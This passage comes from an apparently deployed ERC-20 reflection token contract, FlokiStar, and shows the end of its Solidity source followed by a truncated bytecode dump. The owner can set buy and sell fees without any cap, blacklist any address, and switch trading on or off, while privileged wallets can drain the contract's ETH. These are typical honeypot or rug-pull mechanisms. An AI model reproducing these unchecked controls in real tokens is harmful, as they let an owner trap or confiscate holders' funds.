require(_msgSender() == __clubVaultAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == __clubVaultAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461065c578063dd62ed3e14610685578063ea1644d5146106c2578063f2fde38b146106eb576101d7565b8063a2a957bb146105a2578063a9059cbb146105cb578063bfd7928414610608578063c3c8cd8014610645576101d7565b80638f70ccf7116100d15780638f70ccf7146104fa5780638f9a55c01461052357806395d89b411461054e57806398a5c31514610579576101d7565b80637d1db4a5146104675780637f2feddc146104925780638da5cb5b146104cf576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612d6c565b610714565b005b34801561021157600080fd5b5061021a61083e565b6040516102279190612e3d565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612e95565b61087b565b6040516102649190612ef0565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f9190612f6a565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba9190612f94565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612faf565b6108cf565b6040516102f79190612ef0565b60405180910390f35b34801561030c57600080fd5b506103156109a8565b6040516103229190612f94565b60405180910390f35b34801561033757600080fd5b506103406109ae565b60405161034d919061301e565b60405180910390f35b34801561036257600080fd5b5061036b6109b7565b6040516103789190613048565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190613063565b6109dd565b005b3480156103b657600080fd5b506103d160048036038101906103cc91906130bc565b610acd565b005b3480156103df57600080fd5b506103e8610b7f565b005b3480156103f657600080fd5b50610411600480360381019061040c9190613063565b610c50565b60405161041e9190612f94565b60405180910390f35b34801561043357600080fd5b5061043c610ca1565b005b34801561044a57600080fd5b50610465600480360381019061046091906130e9565b610df4565b005b34801561047357600080fd5b5061047c610e93565b6040516104899190612f94565b60405180910390f35b34801561049e57600080fd5b506104b960048036038101906104b49190613063565b610e99565b6040516104c69190612f94565b60405180910390f35b3480156104db57600080fd5b506104e4610eb1565b6040516104f19190613048565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c91906130bc565b610eda565b005b34801561052f57600080fd5b50610538610f8c565b6040516105459190612f94565b60405180910390f35b34801561055a57600080fd5b50610563610f92565b6040516105709190612e3d565b60405180910390f35b34801561058557600080fd5b506105a0600480360381019061059b91906130e9565b610fcf565b005b3480156105ae57600080fd5b506105c960048036038101906105c49190613116565b61106e565b005b3480156105d757600080fd5b506105f260048036038101906105ed9190612e95565b611125565b6040516105ff9190612ef0565b60405180910390f35b34801561061457600080fd5b5061062f600480360381019061062a9190613063565b611143565b60405161063c9190612ef0565b60405180910390f35b34801561065157600080fd5b5061065a611163565b005b34801561066857600080fd5b50610683600480360381019061067e91906131d8565b61123c565b005b34801561069157600080fd5b506106ac60048036038101906106a79190613238565b611376565b6040516106b99190612f94565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e491906130e9565b6113fd565b005b3480156106f757600080fd5b50610712600480360381019061070d9190613063565b61149c565b005b61071c61165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a0906132c4565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd6132e4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061083290613342565b9150506107ac565b5050565b60606040518060400160405280600981526020017f466c6f6b69537461720000000000000000000000000000000000000000000000815250905090565b600061088f61088861165e565b8484611666565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b60006108dc848484611831565b61099d846108e861165e565b61099885604051806060016040528060288152602001613d8360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094e61165e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b69092919063ffffffff16565b611666565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a69906132c4565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ad561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b59906132c4565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bc061165e565b73ffffffffffffffffffffffffffffffffffffffff161480610c365750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c1e61165e565b73ffffffffffffffffffffffffffffffffffffffff16145b610c3f57600080fd5b6000479050610c4d8161211a565b50565b6000610c9a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612186565b9050919050565b610ca961165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2d906132c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dfc61165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e80906132c4565b60405180910390fd5b8060168190555050565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ee261165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f66906132c4565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600981526020017f464c4f4b49535441520000000000000000000000000000000000000000000000815250905090565b610fd761165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105b906132c4565b60405180910390fd5b8060188190555050565b61107661165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611103576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fa906132c4565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061113961113261165e565b8484611831565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111a461165e565b73ffffffffffffffffffffffffffffffffffffffff16148061121a5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661120261165e565b73ffffffffffffffffffffffffffffffffffffffff16145b61122357600080fd5b600061122e30610c50565b9050611239816121f4565b50565b61124461165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c8906132c4565b60405180910390fd5b60005b838390508110156113705781600560008686858181106112f7576112f66132e4565b5b905060200201602081019061130c9190613063565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061136890613342565b9150506112d4565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61140561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611492576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611489906132c4565b60405180910390fd5b8060178190555050565b6114a461165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611531576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611528906132c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611598906133fd565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cd9061348f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611746576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173d90613521565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118249190612f94565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611898906135b3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611911576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190890613645565b60405180910390fd5b60008111611954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194b906136d7565b60405180910390fd5b61195c610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ca575061199a610eb1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611db557601560149054906101000a900460ff16611a59576119eb610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4f90613769565b60405180910390fd5b5b601654811115611a9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a95906137d5565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b425750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7890613867565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c2e5760175481611be384610c50565b611bed9190613887565b10611c2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c249061394f565b60405180910390fd5b5b6000611c3930610c50565b9050600060185482101590506016548210611c545760165491505b808015611c6c575060158054906101000a900460ff16155b8015611cc65750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cde5750601560169054906101000a900460ff165b8015611d345750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d8a5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611db257611d98826121f4565b60004790506000811115611db057611daf4761211a565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e5c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611f0f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611f0e5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f1d57600090506120a4565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fc85750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fe057600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561208b5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156120a357600a54600c81905550600b54600d819055505b5b6120b08484848461247a565b50505050565b60008383111582906120fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f59190612e3d565b60405180910390fd5b506000838561210d919061396f565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612182573d6000803e3d6000fd5b5050565b60006006548211156121cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c490613a15565b60405180910390fd5b60006121d76124a7565b90506121ec81846124d290919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561222b5761222a612bcb565b5b6040519080825280602002602001820160405280156122595781602001602082028036833780820191505090505b5090503081600081518110612271576122706132e4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561231357600080fd5b505afa158015612327573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061234b9190613a4a565b8160018151811061235f5761235e6132e4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123c630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611666565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161242a959493929190613b70565b600060405180830381600087803b15801561244457600080fd5b505af1158015612458573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806124885761248761251c565b5b61249384848461255f565b806124a1576124a061272a565b5b50505050565b60008060006124b461273e565b915091506124cb81836124d290919063ffffffff16565b9250505090565b600061251483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061279d565b905092915050565b6000600c5414801561253057506000600d54145b1561253a5761255d565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061257187612800565b9550955095509550955095506125cf86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061266485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126b081612910565b6126ba84836129cd565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516127179190612f94565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000670de0b6b3a76400009050612772670de0b6b3a76400006006546124d290919063ffffffff16565b82101561279057600654670de0b6b3a7640000935093505050612799565b81819350935050505b9091565b600080831182906127e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127db9190612e3d565b60405180910390fd5b50600083856127f39190613bf9565b9050809150509392505050565b600080600080600080600080600061281d8a600c54600d54612a07565b925092509250600061282d6124a7565b905060008060006128408e878787612a9d565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006128aa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120b6565b905092915050565b60008082846128c19190613887565b905083811015612906576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128fd90613c76565b60405180910390fd5b8091505092915050565b600061291a6124a7565b905060006129318284612b2690919063ffffffff16565b905061298581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129e28260065461286890919063ffffffff16565b6006819055506129fd816007546128b290919063ffffffff16565b6007819055505050565b600080600080612a336064612a25888a612b2690919063ffffffff16565b6124d290919063ffffffff16565b90506000612a5d6064612a4f888b612b2690919063ffffffff16565b6124d290919063ffffffff16565b90506000612a8682612a78858c61286890919063ffffffff16565b61286890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ab68589612b2690919063ffffffff16565b90506000612acd8689612b2690919063ffffffff16565b90506000612ae48789612b2690919063ffffffff16565b90506000612b0d82612aff858761286890919063ffffffff16565b61286890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612b395760009050612b9b565b60008284612b479190613c96565b9050828482612b569190613bf9565b14612b96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b8d90613d62565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612c0382612bba565b810181811067ffffffffffffffff82111715612c2257612c21612bcb565b5b80604052505050565b6000612c35612ba1565b9050612c418282612bfa565b919050565b600067ffffffffffffffff821115612c6157612c60612bcb565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612ca282612c77565b9050919050565b612cb281612c97565b8114612cbd57600080fd5b50565b600081359050612ccf81612ca9565b92915050565b6000612ce8612ce384612c46565b612c2b565b90508083825260208201905060208402830185811115612d0b57612d0a612c72565b5b835b81811015612d345780612d208882612cc0565b845260208401935050602081019050612d0d565b5050509392505050565b600082601f830112612d5357612d52612bb5565b5b8135612d63848260208601612cd5565b91505092915050565b600060208284031215612d8257612d81612bab565b5b600082013567ffffffffffffffff811115612da057612d9f612bb0565b5b612dac84828501612d3e565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612def578082015181840152602081019050612dd4565b83811115612dfe576000848401525b50505050565b6000612e0f82612db5565b612e198185612dc0565b9350612e29818560208601612dd1565b612e3281612bba565b840191505092915050565b60006020820190508181036000830152612e578184612e04565b905092915050565b6000819050919050565b612e7281612e5f565b8114612e7d57600080fd5b50565b600081359050612e8f81612e69565b92915050565b60008060408385031215612eac57612eab612bab565b5b6000612eba85828601612cc0565b9250506020612ecb85828601612e80565b9150509250929050565b60008115159050919050565b612eea81612ed5565b82525050565b6000602082019050612f056000830184612ee1565b92915050565b6000819050919050565b6000612f30612f2b612f2684612c77565b612f0b565b612c77565b9050919050565b6000612f4282612f15565b9050919050565b6000612f5482612f37565b9050919050565b612f6481612f49565b82525050565b6000602082019050612f7f6000830184612f5b565b92915050565b612f8e81612e5f565b82525050565b6000602082019050612fa96000830184612f85565b92915050565b600080600060608486031215612fc857612fc7612bab565b5b6000612fd686828701612cc0565b9350506020612fe786828701612cc0565b9250506040612ff886828701612e80565b9150509250925092565b600060ff82169050919050565b61301881613002565b82525050565b6000602082019050613033600083018461300f565b92915050565b61304281612c97565b82525050565b600060208201905061305d6000830184613039565b92915050565b60006020828403121561307957613078612bab565b5b600061308784828501612cc0565b91505092915050565b61309981612ed5565b81146130a457600080fd5b50565b6000813590506130b681613090565b92915050565b6000602082840312156130d2576130d1612bab565b5b60006130e0848285016130a7565b91505092915050565b6000602082840312156130ff576130fe612bab565b5b600061310d84828501612e80565b91505092915050565b600080600080608085870312156131305761312f612bab565b5b600061313e87828801612e80565b945050602061314f87828801612e80565b935050604061316087828801612e80565b925050606061317187828801612e80565b91505092959194509250565b600080fd5b60008083601f84011261319857613197612bb5565b5b8235905067ffffffffffffffff8111156131b5576131b461317d565b5b6020830191508360208202830111156131d1576131d0612c72565b5b9250929050565b6000806000604084860312156131f1576131f0612bab565b5b600084013567ffffffffffffffff81111561320f5761320e612bb0565b5b61321b86828701613182565b9350935050602061322e868287016130a7565b9150509250925092565b6000806040838503121561324f5761324e612bab565b5b600061325d85828601612cc0565b925050602061326e85828601612cc0565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006132ae602083612dc0565b91506132b982613278565b602082019050919050565b600060208201905081810360008301526132dd816132a1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061334d82612e5f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133805761337f613313565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006133e7602683612dc0565b91506133f28261338b565b604082019050919050565b60006020820190508181036000830152613416816133da565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613479602483612dc0565b91506134848261341d565b604082019050919050565b600060208201905081810360008301526134a88161346c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061350b602283612dc0565b9150613516826134af565b604082019050919050565b6000602082019050818103600083015261353a816134fe565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061359d602583612dc0565b91506135a882613541565b604082019050919050565b600060208201905081810360008301526135cc81613590565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061362f602383612dc0565b915061363a826135d3565b604082019050919050565b6000602082019050818103600083015261365e81613622565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006136c1602983612dc0565b91506136cc82613665565b604082019050919050565b600060208201905081810360008301526136f0816136b4565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613753603f83612dc0565b915061375e826136f7565b604082019050919050565b6000602082019050818103600083015261378281613746565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b60006137bf601c83612dc0565b91506137ca82613789565b602082019050919050565b600060208201905081810360008301526137ee816137b2565b9050919050565b7f544f